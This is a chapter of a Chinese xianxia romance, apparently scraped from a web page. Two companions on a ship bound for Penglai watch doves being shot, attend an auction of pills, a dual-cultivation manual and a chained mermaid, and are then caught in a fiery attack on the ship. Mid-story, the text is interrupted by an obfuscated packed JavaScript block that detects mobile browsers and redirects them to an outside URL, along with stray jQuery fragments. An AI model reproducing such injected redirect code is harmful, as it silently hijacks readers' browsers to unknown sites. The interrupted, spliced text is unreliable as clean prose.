秦常安伸伸懒腰,双手扶在船舷上,群群白鸽盘旋飞翔,远处夕阳露了半截,余晖照在海面上,微波粼粼。
海风卷着微咸的湿气,拂过船帆,鼓荡出低沉的声响,船身随波起伏,缓缓前行,破开粼粼碧波,留下一道绵长而稀碎的水痕。
秦常安将桂花糕掰碎,投喂白鸽。
白鸽盘旋而下,缓缓落在他的摊开的掌心,嫩黄的喙轻轻地叼起一块,慢条斯理地啄食,他摸了摸白鸽柔顺的羽毛,笑吟吟地转头道:“怀悯,你看着这白鸽多可爱。”
裴怀悯头戴斗笠,一袭青衣,飞掠过,青山衣玦翩然。
他将斗笠压低,遮住大半眉目,只露出一条线条清冽的下颌。
“你伤未好,还是少走动。”
不提还好,一提秦常安就觉得屁沟火辣辣地疼,五十大板也不是说着玩的,这一板一板打在屁股上,一下比一下重,要不是顾及颜面,他怕早就要鬼哭狼嚎,涕泗横流。
秦常安放开白鸽,白鸽挥动翅膀,又盘旋而上,他抱怨道:“我才不要躺呢,躺下屁股更疼了,你不是给我上了药嘛,没准这伤一会会就好了,不过,你也真是的,哪有人闭着眼给人上药的。”
裴怀悯嘴唇抿成一条直线,一言不发。
秦常安凑上前,双眼明亮:“听说这船上有个洗澡堂,不如我们晚上一起去——”
话未说完,一道破空之声传来,小小黑影重重地从空中跌落,砸在地板上,二人齐齐低头一看,方才还在秦常安掌心啄食的白鸽蜷缩在地上,泛着冷光的箭失横穿它的胸腔,羽翼零乱,翅膀扑棱几下,便一命呜呼了。
秦常安心疼不已,捧起白鸽,道:“啧,真可怜,谁这么缺德,随意杀生。”
他话刚说完,几根箭紧接着射出,原本结群飞翔的白鸽四处逃窜,偶尔有几只白鸽应声坠地,凄厉的鸽鸣划破长空,白羽纷飞,凄凄惨惨。
他霎时间火冒三丈,拉起裴怀悯怒气冲冲前往,准备阻止此人戕害小生命的残酷行为,却在看到人时迅速刹了脚步,掉头原路返回。
裴怀悯被秦常安抓住手腕,一脸不解地问:“你认识那个人?”
秦常安立马嘴上否决:“不认识。”
嘴上虽这么说,心里却已苦叫连天:什么鬼运气,冤家路窄,流年不利,竟在这儿碰到了秦嘉行,他有事没事跑海边干什么,学游泳么?!
裴怀悯和秦常安相处两年,对他的脾气性格了如指掌,此时他一副见了鬼的模样,便撒开手,道:“你莫要唬我,到底发生了什么?那位公子是谁?你为何怕他?又为何不告诉我,藏着掩着!”
秦常安被这几连问问懵逼了,心想:“好小子,现在越来越难忽悠了。”
见秦常安不语,裴怀悯冷笑一声,转头就要走。
秦常安赶紧拦着他:“你要干什么?”
裴怀悯道:“去找他。”
秦常安惊呼:“你找他干嘛?”
裴怀悯扬眉:“问话。”
秦常安瞬感牙疼,见裴怀悯走远,便立马跑过去拦在他身前,苦着脸道:“祖宗,我的小祖宗,我给你说还不成嘛。”
裴怀悯侧头,双唇紧紧抿起,嘴角却微微上扬,似有了笑意。
秦常安见状,长臂一伸搂住,他笑容满面道:“怀悯,能力渐长了,敢骗我,嗯?”
裴怀悯也憋不住了,哼了一声,道:“我何时有你能忽悠人,鬼话连篇,不务正业。”
秦常安摸摸鼻子,道:“我挺诚实的。”
裴怀悯斜睨他:“表哥,诚实何时是这么用的?”
秦常安笑道:“我何时不诚实?你说说看。”
于是,二人打了一会嘴炮,秦常安将他与秦嘉行的过往一一讲述,讲完后吊儿郎当地躺在地上,不解道:“我就纳了闷了,怎么一个两个都见我不顺眼?”
裴怀悯坐在一旁,狠心补刀:“你人缘真差。”
秦常安立马反驳:“我人缘挺好的,他们这是嫉妒。”
裴怀悯嗤笑:“嫉妒什么?”
秦常安无比自恋地抚摸下巴,道:“嫉妒我长得英俊潇洒,风流倜傥。”
裴怀悯扬眉,表示不信。
“你别不信,青云美男榜,我榜上有名!”
“还有这榜单?谁是第一名?”
“谢时宴呗。”
说着,秦常安看向裴怀悯。
因为塑颜膏的作用越来越差,维持时间也越来越短,在没有熟人的情况下,裴怀悯就戴斗笠,没有抹塑颜膏。
此时的他,卸去了那层伪装,真容全然落于日光之下。
眉骨锋利流畅,眼尾微扬却不张扬,一双眸子清寒如浸在寒潭里的星子,静时温润,动时惊鸿。鼻梁高挺,唇色浅淡,下颌线条利落干净,褪去了平日的遮掩,竟是清隽得惊心动魄。
真是绝色!
人皆有爱美之心,秦常安也不另外,虽相处时间已长,但他还是经常会被裴怀悯的样貌所惊艳,每当秦常安心情不好时,一看到美人在身边,赏心悦目,可蔼可亲,心情瞬时由阴转晴,一朵小花立马绽放。
他不禁心想:若是让怀悯暴露在众人面前,定会引得才子佳人争相侧目,满城为之倾倒。
“你为何看我?”
秦常安叹了一口气,没由来地冒出一句:“好吧,我承认你比我帅。”
裴怀悯:???
蓬莱边界有道屏障,可卸灵力,阻人运气,故上蓬莱岛只有乘船一条方法,连御剑飞行都不行。
前往蓬莱仙岛的船很大,通体由深海古木打造,船身宽阔如殿,甲板平整开阔,舱内层层叠叠,雕栏玉砌,光房间都有上千间,不仅如此,巨舱中央还有一座宏伟的拍买厅,气势宏伟,晶石相缀流光溢彩。
厅内客席铺着雪白的狐裘和云锦,宾客云集,人头攒动,座无隙地。空气中弥漫着昂贵的檀香与淡淡的酒香,衣香鬓影,丝竹管弦之声不绝于耳。
高台之上,雕梁画栋,流苏轻垂,伴随一声娇笑,一位身着粉雾流云衫,巧笑嫣然的女子走上台,道:“诸位仙君久等了,今日蓬莱仙舟拍卖盛会,珍品无数,机遇难得,小女子桃溪,今日便为诸位掌槌,共赏佳品。”
她声音清甜婉转,入耳极是舒服。
秦常安闲来无聊,便拉着裴怀悯凑热闹。
二人坐在席位上,看着台上的奇异珍宝,桃溪抬手轻挥,两侧仙蛾手捧锦盒依次而来,她笑意嫣然,目光扫过全场,道:“话不多说了,第一件拍平,诸位,请看—”
随着一声落下,锦盒缓缓打开,粉色丝绒间,珍珠母光泽的药丸静静躺着。
“此为清凝丸,可快速愈合皮肉伤,稳定灵力,当然,也可以美容养颜。”桃溪介绍道。
本来人都对这个药丸没什么兴趣,但一听到美容养颜,瞬间便有几个女仙子抢着加价。秦常安看此情况,心想,果然,从古至今女子多爱美,若是他也炼些养颜丹药,岂不是可以大赚一笔。
清凝丸卖完后,又是些护心丸,聚灵丹,洗髓丹之类的药丸。
讲到能改变人的容貌,气息的易容丸时,秦常安立马举起手,连拍了十几瓶。
正愁塑颜膏快用完了,好巧。
药丸卖完后,又开始卖古籍宝典。
桃溪拿出一套粉色的书籍,上面两只鸳鸯交颈,旁边还写着“同心引气诀”。
秦常安很是奇怪,这书名字起得不错,为何封面古里古怪。随即一声哂笑,他听见有人道:“没想到你们掬月楼还卖这种东西。”
桃溪也是轻笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393258|200339||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出声:“双修,本就是两情相通、神魂相契,共同修行,这有什么不可?”
秦常安一口茶差点喷出来。
双修?
活春宫?
秦常安偷偷地瞄了裴怀悯一眼,见他神色淡淡,便放心继续看下去。
“有关双修的书籍很常见,这有什么好拍卖的。”
桃溪唇角微扬,笑语嫣然:“这位贵客有所不知,双修讲究的是阴阳相济,神魂相依,但若是两个男子,又如何相调呢?所以这便是这本书的不同之处。”
那人大惊:“莫非,这书上的鸳鸯是——”
桃溪笑着回答:“公鸳鸯。”
秦常安一口茶喷了出来。
所以这个同心的同是指男同的同么。
裴怀悯也是被身旁之人一惊,连忙拿出巾帕擦他身上的茶渍。
秦常安抓住他的手,接过巾帕,道:“我自己擦吧。”
拍卖会的物品一件一件拿出来,后面虽也是难得一见的珍宝和灵药,裴怀悯却是兴致不大,而秦常安则是满脑子春水池塘春水绿,两只鸳鸯水中戏,走进亭前细看时,两只鸳鸯都是公的,公的!
等最后一件商品摆上时,只见莲台中央缓缓升起一个铁笼子,笼子里面交叠着如手腕粗的铁链,铁链锁着的是一个长尾摇曳的鲛人!
她肤白如雪,上身只包裹一层透明绡纱,衬得酮体越发饱满莹润,长发湿漉漉地贴在苍白颤抖的肩头,尾鳞在明珠光线下泛着冷冽的光,布满深浅不一的伤痕。
她躺在那儿,一动不动,美眸含泪,当真是楚楚可人,让人可怜。
“此为东海鲛人,不仅能落泪成珠,鳞片更是坚不可摧,不仅如此,她们的精血大补修为,血肉食之,更是延年益寿。”
此话一出,满场哗然。
裴怀悯神色略沉,唇角紧抿,手下意识地紧抓秦常安,秦常安会意,刚准备举起举牌,就有银签从上面的阁楼飘下。
“五千两。”
秦常安循声望去,只见雪月纱间,秦嘉行站在雕栏边,负手而立。
是他?
他要鲛人做什么?!
秦常安皱起眉心。
有人加价道:
“五千一百。”
“五千三百”
“六千四百”
秦嘉行又是一甩银签,动作散漫至极,带着横扫一切的霸道:
“一万两灵石!”
此话一出,众人皆是一惊,灵石可比黄金宝贵多了。
秦常安也是大为吃惊。
秦家这么有钱吗?!
他怎么不知道?
放下手中的竹签,秦常安顿感无力。
虽说他近两年靠卖丹药赚了不少,但也不能有一万两,还是灵石!
秦嘉行一身宝蓝锦衣,身姿倨傲,眉眼间是藏不住的娇纵与轻蔑,他挑眉嘲讽一笑,便双手负背离开了,身后还跟着几个家仆。
拍卖会散场,宾客陆续离席,秦常安却坐在席位一动不动,若有所思。
该怎么偷偷放走鲛人呢?
裴怀悯拉了拉他的衣袖,本想问还不走吗。霎时间船突然剧烈晃动,一道火光瞬间在窗外燃起,巨响震耳欲聋。
甲板剧烈颠簸,桌椅晃动,珠灯碎裂,尚未散场的宾客惊呼连连。
浓烟卷着火舌自舷外窜入,灼热的气浪铺面而来,浓浓黑烟下,满是慌乱的人影。
秦常安连忙拉起裴怀悯的手,跑出船外,见海面上一片黑腻腻的油光,还带着一股奇异的腥臭味。
海面的尽头,几道红光小点由远及近。秦常安暗叫不好。
熊熊火团如流星般砸了下来,“嘭”的一声,刹那间整条船都已燃着,变成了巨大火炉。
………